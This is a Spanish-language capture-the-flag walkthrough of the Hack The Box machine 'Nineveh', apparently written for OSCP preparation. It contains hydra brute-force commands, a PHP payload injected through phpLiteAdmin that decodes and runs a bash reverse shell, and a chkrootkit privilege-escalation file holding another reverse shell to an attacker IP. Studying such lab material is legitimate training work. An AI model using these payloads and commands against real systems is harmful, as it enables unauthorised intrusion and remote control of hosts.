Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.
En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.
¡Empecemos con la diversión!
Nineveh
Initial Foothold
Usando Gobuster
en el puerto 80, encontramos un login en 10.10.10.43/department
.
De los mensajes de error, podemos ver que admin
es un nombre de usuario válido, como si escribiéramos uno diferente.
dice Invalid Username
.
Mirando el código fuente, vemos que está usando MySQL
.
Yendo a la página HTTPS
en el puerto 443 y mirando el certificado vemos un nombre de host:
Nineveh.htb
. Sólo redirige a la página web en el puerto 80.
Usando Gobuster
en el puerto 443, encontramos un login en https://10.10.10.43/db
.
Bruteforce
Podemos intentar forzar los inicios de sesión:
hydra -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt 10.10.10.43 http-post-form '/department/login.php:username=^USER^&password=^PASS^:invalid' -l admin -f
hydra -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt 10.10.10.43 https-post-form '/db:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect' -l admin -f
Credenciales para el ingreso a Http
: admin:1Q2W3E4R5T
.
La contraseña para el login de https
es: password123
.
Hay un exploit para phpLiteAdmin searchsploit phpliteadmin
: 24044.txt
.
Parece que si creamos una base de datos con una extensión php
, podemos ejecutar código a partir de ella. Para acceder a
la base de datos, podemos usar el servidor http
que parece que tiene acceso a los archivos del sistema. Es
también parece que falla en cuanto el nombre no coincide con NinevehNotes
, así que tenemos que nombrar a nuestro
base de datos algo que contiene ese nombre.
- Necesitamos crear una base de datos que contenga el nombre
NinevehNotes
y que tenga unphp
por ejemplo:NinevehNotes_test.php
. - Crear una tabla con cualquier nombre.
- Crear un nuevo campo texto dentro de la tabla. Pega lo siguiente como el nombre del campo (también funciona como valor por defecto):
<?php system("echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMS8xMjM0NSAwPiYxJw== | base64 -d | bash");?>
- Configura un puerto escucha:
ncat lnvp 12345
. - Desde el sitio
http
, visita:10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes_test.php
.
Nota: Este payload codificado en base64 contiene un shell bash inverso para 10.10.14.31:12345
. Para generar
un nuevo payload simplemente haz: echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.31/12345' | base64"
.
User
Después de ejecutar lse.sh
, vemos que podemos leer var/mail/amrois
:
From root@nineveh.htb Fri Jun 23 14:04:19 2017
Return-Path: <root@nineveh.htb>
X-Original-To: amrois
Delivered-To: amrois@nineveh.htb
Received: by nineveh.htb (Postfix, from userid 1000)
id D289B2E3587; Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
To: amrois@nineveh.htb
From: root@nineveh.htb
Subject: Another Important note!
Message-Id: <20170623190419.D289B2E3587@nineveh.htb>
Date: Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
Amrois! please knock the door next time! 571 290 911
Parece que tenemos que hacer un port knocking
. Para esto podemos usar la herramienta knock
, que viene incluida...
con el demonio knockd
:
knock 10.10.10.43 571:tcp 290:tcp 911:tcp && ssh amrois@10.10.10.43
No tenemos acceso, necesitamos una llave ssh.
CTF Nonsense
Husmeando en los directorios nos encontramos con un nombre peculiar: /var/www/ssl/secure_notes
.
Navegando hacia él obtenemos una imagen gigante.
Descargue la imagen: wget https://nineveh.htb/secure_notes/nineveh.png --no-check-certificate
.
Extraer las cosas ocultas: binwalk -e nineveh.png
. Obtenemos una llave privada y una pública.
Ahora podemos entrar:
mod +600 nineveh.priv
.knock 10.10.10.43 571:tcp 290:tcp 911:tcp && ssh -i nineveh.priv amrois@10.10.10.43
Root
Mirando a nuestro alrededor encontramos que tenemos acceso de escritura sobre un script de shell: /usr/sbin/report-reset.sh
.
Lo que nos lleva a una extraña carpeta /report
.
Dentro de esta carpeta, hay algunos archivos de texto con contenidos extraños. Buscando en Google una de las líneas da
nos da la respuesta: es la producción de chkrootkit
.
Usando searchsploit
encontramos un exploit de escalada de privilegios: searchsploit -m 33899.txt
.
Siguiendo las instrucciones, creamos el archivo /tmp/update
con el siguiente contenido:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.31/7777 0>&1
Establecemos permisos de ejecución: chmod +x /tmp/update
y configura el puerto oyente: ncat -lnvp 7777
. Desde
aquí, sólo espera a que aparezca la shell. El archivo debe ser ejecutado cada minuto.